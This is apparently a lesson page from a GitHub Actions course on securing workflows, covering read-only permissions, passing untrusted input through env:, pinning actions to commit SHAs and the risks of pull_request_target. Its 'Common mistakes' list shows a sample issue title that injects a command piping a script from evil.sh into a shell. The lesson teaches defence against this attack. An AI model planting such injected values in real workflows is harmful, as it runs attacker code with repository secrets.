GitHub Actions: CI/CD Workflows From First Run to Secure Deployments · Pipelines, Deployments and Security

Security Hardening: Permissions, Injection and Pinned Actions

Apply least-privilege permissions, avoid script injection, pin third-party actions, and handle pull requests from forks safely.

Create a free account to save this page, take notes and track your progress. Sign in

What you'll build

A hardened pull request workflow: read-only token, a safe way to use untrusted input, a pinned third-party action, and a separate job that gets write access only where needed.

The idea

Workflows run code with access to your repository and secrets, so they are a real attack surface.

  • Least-privilege permissions. Set permissions: contents: read at the top and raise it per job. Listing any scope sets all unlisted ones to none.
  • Script injection. Issue titles, branch names and pull request titles are controlled by outsiders. Never interpolate ${{ github.event.pull_request.title }} into a run script; pass it via env: so the shell treats it as data.
  • Pin third-party actions to a full commit SHA (a tag can be moved). Let Dependabot update them.
  • Fork pull requests. pull_request from a fork runs without secrets. pull_request_target runs with secrets in the base repository's context, so never check out and run the pull request's code in it.
  • Scope credentials with environments and OIDC, and lint workflows with actionlint or a scanner like zizmor.

The code

Least privilege, safe input and a pinned action
name: PR checks
on: pull_request

permissions:
  contents: read

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Print the title safely
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: echo "PR title is $TITLE"
      - run: npm ci && npm test

  label:
    needs: check
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Add a label
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GH_REPO: ${{ github.repository }}
          PR: ${{ github.event.pull_request.number }}
        run: gh pr edit "$PR" --add-label "checked"

Output

actionlint: no problems found
workflow: PR checks
triggers: pull_request
jobs, in the order they run:
  check: runs on ubuntu-latest | 3 step(s)
  label: runs on ubuntu-latest | 1 step(s) | after check

Run this on your computer — see “Get Started” for setup.

Common mistakes

  • run: echo "${{ github.event.issue.title }}". A title like "; curl evil.sh | sh # runs as shell code. Use env:.
  • Trusting tags on third-party actions. A compromised maintainer can move v4 to malicious code; use SHAs for anything you don't control.
  • Running fork code under pull_request_target. That gives untrusted code your secrets and a write token.
  • Leaving default write permissions. Switch the repository default to read-only (Settings → Actions → General).

Key points

  • Default to read-only permissions and widen per job.
  • Untrusted input goes through env:, never directly into scripts.
  • Pin third-party actions to commit SHAs; use environments and OIDC for credentials.
  • Be extremely careful with pull_request_target. Further reading: GitHub Docs.

Practice questions

How can an issue title lead to code execution in a workflow, and how do you prevent it?

Answer

If the title is interpolated with ${{ }} into a run script, shell metacharacters in it become part of the script. Pass it through an env variable instead, so the shell receives it as data.

Why is pull_request_target dangerous when combined with checking out the pull request's code?

Answer

pull_request_target runs with the base repository's secrets and a write token. Checking out and running the fork's code there lets an attacker's code use those secrets.

Open in the app to mark lessons complete, take notes and track your progress.

Was this page helpful?